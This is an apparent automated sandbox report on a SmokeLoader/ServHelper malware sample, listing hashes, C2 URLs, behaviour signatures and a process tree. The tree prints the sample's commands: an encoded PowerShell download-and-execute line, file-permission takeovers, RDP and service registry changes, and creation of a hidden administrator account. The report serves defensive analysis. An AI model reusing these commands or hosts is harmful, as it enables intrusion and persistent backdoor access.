Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    18-10-2021 12:36

General

  • Target

    d8c17d8c7ca799fe434174b292115685.exe

  • Size

    262KB

  • MD5

    d8c17d8c7ca799fe434174b292115685

  • SHA1

    933bf284ae175f9b8667014c58ced7c25dc4be9d

  • SHA256

    874646ae5e48bcb2e0f85adf92ba4a8e7a91a3124f7c35ec9228dda6fa568678

  • SHA512

    559ed328c109616e6754a023d53085737ae9e382b093dba9f5d5610f9485fee1b10d46d515f4df309c9685d977f1c9b0ee7fd94ff8d2bcf741e9059611bfadd9

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d8c17d8c7ca799fe434174b292115685.exe
    "C:\Users\Admin\AppData\Local\Temp\d8c17d8c7ca799fe434174b292115685.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1228
  • C:\Users\Admin\AppData\Local\Temp\BBB1.exe
    C:\Users\Admin\AppData\Local\Temp\BBB1.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:744
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ourw-yq8.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:852
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDBA0.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDB9F.tmp"
          4⤵
            PID:1660
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1772
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:972
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1176
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1768
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:600
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1528
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1912
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1476
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1776
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1728
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1628
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1228
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1604
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1608
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1504
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1788
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1096
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                    PID:964
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      5⤵
                        PID:1028
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start rdpdr
                          6⤵
                            PID:980
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                      3⤵
                        PID:1796
                        • C:\Windows\system32\cmd.exe
                          cmd /c net start TermService
                          4⤵
                            PID:516
                            • C:\Windows\system32\net.exe
                              net start TermService
                              5⤵
                                PID:992
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 start TermService
                                  6⤵
                                    PID:1380
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                              3⤵
                                PID:1956
                              • C:\Windows\system32\cmd.exe
                                "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                3⤵
                                  PID:876
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc 000000 /del
                              1⤵
                                PID:1912
                                • C:\Windows\system32\net.exe
                                  net.exe user WgaUtilAcc 000000 /del
                                  2⤵
                                    PID:2016
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                      3⤵
                                        PID:1632
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe user WgaUtilAcc oJaGKpol /add
                                    1⤵
                                      PID:1728
                                      • C:\Windows\system32\net.exe
                                        net.exe user WgaUtilAcc oJaGKpol /add
                                        2⤵
                                          PID:1228
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 user WgaUtilAcc oJaGKpol /add
                                            3⤵
                                              PID:1604
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                          1⤵
                                            PID:1908
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              2⤵
                                                PID:896
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  3⤵
                                                    PID:1504
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                1⤵
                                                  PID:1828
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                    2⤵
                                                      PID:1264
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                        3⤵
                                                          PID:1760
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                      1⤵
                                                        PID:1776
                                                        • C:\Windows\system32\net.exe
                                                          net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          2⤵
                                                            PID:2036
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              3⤵
                                                                PID:1476
                                                          • C:\Windows\System32\cmd.exe
                                                            cmd /C net.exe user WgaUtilAcc oJaGKpol
                                                            1⤵
                                                              PID:1268
                                                              • C:\Windows\system32\net.exe
                                                                net.exe user WgaUtilAcc oJaGKpol
                                                                2⤵
                                                                  PID:1736
                                                                  • C:\Windows\system32\net1.exe
                                                                    C:\Windows\system32\net1 user WgaUtilAcc oJaGKpol
                                                                    3⤵
                                                                      PID:1728
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic path win32_VideoController get name
                                                                  1⤵
                                                                    PID:1692
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic path win32_VideoController get name
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:112
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C wmic CPU get NAME
                                                                    1⤵
                                                                      PID:1028
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic CPU get NAME
                                                                        2⤵
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1632
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                      1⤵
                                                                        PID:1624
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          2⤵
                                                                            PID:2028
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              3⤵
                                                                              • Blocklisted process makes network request
                                                                              • Drops file in Windows directory
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1604

                                                                        Network

                                                                        MITRE ATT&CK Enterprise v6

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • memory/744-78-0x00000000024F4000-0x00000000024F7000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/744-79-0x00000000024FB000-0x000000000251A000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/744-86-0x000000000251D000-0x000000000251E000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/744-70-0x00000000024F0000-0x00000000024F2000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/744-69-0x000007FEFBA71000-0x000007FEFBA73000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/744-76-0x00000000024F2000-0x00000000024F4000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/744-71-0x000007FEEAC70000-0x000007FEEB7CD000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/832-64-0x00000000411F2000-0x00000000411F4000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/832-62-0x0000000041670000-0x0000000041A6F000-memory.dmp

                                                                          Filesize

                                                                          4.0MB

                                                                        • memory/832-67-0x00000000411F7000-0x00000000411F8000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/832-65-0x00000000411F4000-0x00000000411F6000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/832-66-0x00000000411F6000-0x00000000411F7000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/852-80-0x00000000020E0000-0x00000000020E2000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/972-103-0x00000000027B2000-0x00000000027B4000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/972-99-0x000007FEEAC70000-0x000007FEEB7CD000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/972-101-0x00000000027B0000-0x00000000027B2000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/972-106-0x00000000027BC000-0x00000000027DB000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/972-102-0x00000000027B7000-0x00000000027B8000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/972-104-0x000000001B950000-0x000000001BC4F000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/972-105-0x00000000027B4000-0x00000000027B7000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1176-110-0x000007FEEAC70000-0x000007FEEB7CD000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1176-112-0x0000000002A82000-0x0000000002A84000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1176-113-0x0000000002A84000-0x0000000002A87000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1176-111-0x0000000002A80000-0x0000000002A82000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1176-114-0x0000000002A87000-0x0000000002A88000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1176-115-0x000000001BC00000-0x000000001BEFF000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1176-116-0x0000000002A8C000-0x0000000002AAB000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1228-53-0x00000000008AB000-0x00000000008BC000-memory.dmp

                                                                          Filesize

                                                                          68KB

                                                                        • memory/1228-54-0x0000000074F81000-0x0000000074F83000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1228-55-0x0000000000220000-0x0000000000229000-memory.dmp

                                                                          Filesize

                                                                          36KB

                                                                        • memory/1228-56-0x0000000000400000-0x0000000000772000-memory.dmp

                                                                          Filesize

                                                                          3.4MB

                                                                        • memory/1272-57-0x0000000001DD0000-0x0000000001DE6000-memory.dmp

                                                                          Filesize

                                                                          88KB

                                                                        • memory/1604-159-0x0000000001280000-0x0000000001282000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1604-158-0x000007FEEAC70000-0x000007FEEB7CD000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1604-162-0x000000000128B000-0x00000000012AA000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1604-160-0x0000000001282000-0x0000000001284000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1604-161-0x0000000001284000-0x0000000001287000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1772-93-0x0000000002382000-0x0000000002384000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1772-94-0x0000000002384000-0x0000000002387000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1772-90-0x000007FEEAC70000-0x000007FEEB7CD000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1772-92-0x0000000002380000-0x0000000002382000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1772-91-0x000000001B760000-0x000000001BA5F000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1772-95-0x0000000002387000-0x0000000002388000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1772-100-0x000000000238C000-0x00000000023AB000-memory.dmp

                                                                          Filesize

                                                                          124KB